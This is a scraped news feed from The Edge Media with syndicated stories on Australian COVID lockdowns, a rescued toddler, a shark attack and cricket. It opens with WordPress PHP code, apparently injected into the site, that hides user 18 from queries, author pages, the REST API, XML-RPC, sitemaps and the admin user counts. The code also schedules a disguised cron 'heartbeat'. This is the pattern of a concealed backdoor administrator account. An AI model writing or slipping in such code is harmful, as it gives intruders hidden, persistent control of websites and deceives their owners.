add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India’s Response “Somewhat Shaky”, Biden In Terms of Russia-Invasion appeared first on The Edge Media.
]]>The US also asked India to consider oil supplies from Moscow after Washington took a major measure prohibiting crude oil shipments from the Kremlin.
The post India’s Response “Somewhat Shaky”, Biden In Terms of Russia-Invasion appeared first on The Edge Media.
]]>The post Why has France been irritated by the US-Australia-UK defense deal? appeared first on The Edge Media.
]]>Nuclear submarines are significantly more powerful than conventional submarines, as well as being stealthier, having a greater range, and being able to operate for longer periods underwater. And, to meet the challenge posed by the Chinese, who are mass-producing submarines and ships, there is no choice but to invest in better technology.
The post Why has France been irritated by the US-Australia-UK defense deal? appeared first on The Edge Media.
]]>The post India and Australia stress the significance of a zero-tolerance approach to terrorism appeared first on The Edge Media.
]]>The two countries also discussed the significant challenges facing the Indo-Pacific and deliberated on future collaboration in dealing with the Covid-19 pandemic during the inaugural ‘two-plus-two talks between External Affairs Minister S Jaishankar and Defence Minister Rajnath Singh and their Australian counterparts Marise Payne and Peter Dutton, respectively.
Acknowledging that terrorism is a major threat to both sides, Dutton said that “Australia-India defense relationship is at a historic high.”
The post India and Australia stress the significance of a zero-tolerance approach to terrorism appeared first on The Edge Media.
]]>The post Toddler found after three days hunt appeared first on The Edge Media.
]]>Police sent a helicopter with thermal imaging equipment but failed to spot the little boy in the hours after he was first reported missing on Friday morning at his family’s remote property in the eastern state of New South Wales, 150 kilometres (90 miles) northwest of Sydney.
Rescue workers and police, including some on horseback, searched through the weekend before finally spotting the boy, AJ Elfalak, during a helicopter sweep of the area on Monday.
“He is with us. He is safe and well and healthy. That is all that matters,” his mother Kelly Elfalak told television reporters Tuesday at the family home in the village of Putty.
“I want to thank everyone. I am so blessed,” she said.
AJ had a few scratches and bruises, the mother said. “Other than that he is perfect.”
Police said dense terrain complicated the search for the boy, who was spotted within a few hundred metres (yards) of his home.
“The young fellow was sitting in a small creek and was drinking water. He was able to catch the eye of the pilot and the crewman,” New South Wales Police superintendent Brad Monk told reporters after the rescue on Monday.
“There is no doubt emergency services during that search passed closely by the little boy who may have even been sleeping at the time. There is a lot of area there where he could have been hidden,” he added.
Video images taken from the police helicopter showed the child sitting in a pool of murky water in a rocky creek, wearing a light-coloured top and using his hands to scoop water to his mouth and face.
New South Wales Ambulance official Gerry Pyke said the boy’s spirits picked up after he was reunited with his parents. “All he wanted to do was eat, and he got stuck into about three slices of pizza and a banana so he’s pretty good.”
The hunt for the boy, who police said has autism and does not speak, grabbed the headlines across Australia.
“What a relief. I can’t imagine how traumatic this experience has been for AJ and his parents,” Prime Minister Scott Morrison said in a message on Twitter Monday.
The boy was reportedly treated at the nearby Maitland Hospital before returning home. The hospital declined to comment.
A New South Wales Police spokesman said they were investigating the circumstances surrounding the child’s disappearance.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Toddler found after three days hunt appeared first on The Edge Media.
]]>The post Man dies following a shark attack in Australia appeared first on The Edge Media.
]]>The man, believed to be in his 20s, was mauled by the shark at Emerald Beach near Coffs Harbour, about six hours north of Sydney, according to paramedics.
Emergency crews, including a helicopter medical team, rushed to the scene just before 11:00am local time on Sunday after receiving calls for help.
Chris Wilson, a New South Wales Ambulance inspector, said paramedics arrived to find local surfers and bystanders attempting to save the man, saying the group was “incredibly brave in a very challenging situation”.
“It was devastating for everybody on the beach this morning,” he said.
“The patient suffered a critical injury to his arm, but despite the best efforts of bystanders, paramedics and other emergency services, the patient couldn’t be revived.”
The Coffs Harbour Lifeguards service said the beach and surrounding waters were closed to swimmers and surfers due to the incident.
“Our sympathies go out to family and friends. Please don’t enter the water in the area,” a Facebook post said.
It was the second fatal shark attack recorded in Australian waters this year, according to the Taronga Conservation Society Australia.
There were 26 maulings in 2020, eight of them fatal, data from the government agency shows.
(This story has not been edited by The Edge Media staff and is auto-generated from a syndicated feed.)
The post Man dies following a shark attack in Australia appeared first on The Edge Media.
]]>The post Lockdowns cannot go on forever : Scott Morrison appeared first on The Edge Media.
]]>With over half of all Australians stuck in weeks-long lockdowns to curb the highly infectious Delta strain, Morrison said the country had to move forward and start reducing restrictions as more people became vaccinated.
“(Lockdowns) cannot go on forever. This is not a sustainable way to live in this country,” he said during a televised media conference in Canberra.
“This groundhog day has to end, and it will end when we start getting to 70% and 80% (vaccination rates).”
Morrison spoke just as tighter restrictions took effect in Australia’s largest city, Sydney. As of Monday, masks are mandated outside the home, except when exercising, and a night time curfew is in place in the 12 worst-affected council areas.
The federal government last month unveiled a four-stage plan to relax restrictions once 70% of its 25 million people aged over 16 are vaccinated, with stringent lockdowns “unlikely” to be required.
When vaccination coverage reaches 80% only “highly targeted lockdowns” would be necessary and inoculated Australians would be free to travel interstate.
Differences have emerged between states that want to maintain a focus on suppressing the virus and the largest state of New South Wales, which is seeking a path out of lockdowns through vaccinations following a large Delta outbreak.
Western Australia and Queensland states, which are largely coronavirus-free, have flagged they may still maintain some restrictions even when vaccination targets are reached.
They say the national plan, which was agreed before the NSW outbreak, was based on having only small outbreaks present in the community.
On Monday, NSW reported 818 cases, most of them in Sydney, slightly down from the record 830 a day earlier.
NSW Premier Gladys Berejiklian urged people to focus less on cases and more on the immunisation rollout.
“Once you get to 80% double dose, every state will have to live with COVID. You cannot keep Delta out forever,” she said.
In Victoria, home to Melbourne, 71 new cases were detected with 55 having spent time in the community while infectious, which state Premier Daniel Andrews said could derail plans to exit lockdown on Sept. 2.
While Australia has managed the pandemic better than many other developed countries, a slow vaccine rollout has taken the gloss off its early success.
Nationally, 30% of people above 16 are fully vaccinated, while 52% have had a least one dose. Vaccinations are running at a record pace but the target of 80% fully vaccinated will not be reached until December at the current rate.
Australia has reported just over 44,600 cases in total. There have been 984 deaths, although the death rate has declined since last year.
Separately on Monday, South Australia said it would be the first state to trial home quarantine for people returning from other states, with an app used to track whether people are staying home.
If successful the trial would be used for some returning international travelers to ease pressure on hotel quarantine.
(This story has not been edited by The Edge Media staff and is auto-generated from a syndicated feed.)
The post Lockdowns cannot go on forever : Scott Morrison appeared first on The Edge Media.
]]>The post Chris Cairns off life support after heart surgery. appeared first on The Edge Media.
]]>“I am pleased to advise that Chris is off support and has been able to communicate with his family from hospital in Sydney,” Aaron Lloyd said in a statement.
Cairns, 51, had surgery in Canberra after a “major medical event” earlier this month but the seriousness of his condition required him to be transferred to St Vincent’s for another operation. New Zealand media reported Cairns had suffered an aortic dissection- a tear in the body’s main artery.
Cairns played 62 tests, 215 one-day internationals and two twenty20 matches for New Zealand between 1989-2006.
The post Chris Cairns off life support after heart surgery. appeared first on The Edge Media.
]]>The post Australia’s Steve Smith, Aaron Finch Fit And Bound For T20 World Cup appeared first on The Edge Media.
]]>He said last month he could sacrifice playing at the T20 World Cup to ensure he was fit for the home Ashes series against England this year, making clear Test cricket was his priority. But he was part of the 15-strong squad named for the tournament from October 17 to November 14 in the United Arab Emirates and Oman
Fast bowler Andrew Tye along with top-order options Alex Carey, Moises Henriques, Josh Philippe and Ashton Turner were notable omissions, but Inglis surprisingly got the nod as back-up gloveman to Matthew Wade.
The post Australia’s Steve Smith, Aaron Finch Fit And Bound For T20 World Cup appeared first on The Edge Media.
]]>The post Australia Sees Worst Day of Pandemic Amid Delta Outbreak appeared first on The Edge Media.
]]>New South Wales recorded 681 new cases, Premier Gladys Berejiklian told reporters on Thursday in Sydney, where stay-at-home orders have been enforced for almost two months. Meanwhile, Victoria state recorded 57 new infections — more than double from the previous day, and its highest tally since September — as Melbourne endures its sixth lockdown since the pandemic began.
New South Wales, Victoria and Australian Capital Territory recorded a combined 754 cases in their communities on Thursday, surpassing the nation’s previous high of 725 recorded in early August 2020, when Melbourne was in the midst of a lockdown that lasted for three months.
The post Australia Sees Worst Day of Pandemic Amid Delta Outbreak appeared first on The Edge Media.
]]>The post Lockdown extends in Melbourne appeared first on The Edge Media.
]]>The city entered its sixth pandemic lockdown last Thursday after a fresh Delta variant cluster emerged at a Melbourne school and quickly spread.
Daniel Andrews, the premier of the state of Victoria, said lockdown rules will be extended until at least August 19, after 20 new cases were detected overnight including several “mystery” cases.
There are too many cases, the origins of which are not clear to us… for us to safely come out of lockdown now,” he said.
In Sydney, more than five million people are enduring their seventh week under stay-at-home orders, currently scheduled to remain until the end of August.
The post Lockdown extends in Melbourne appeared first on The Edge Media.
]]>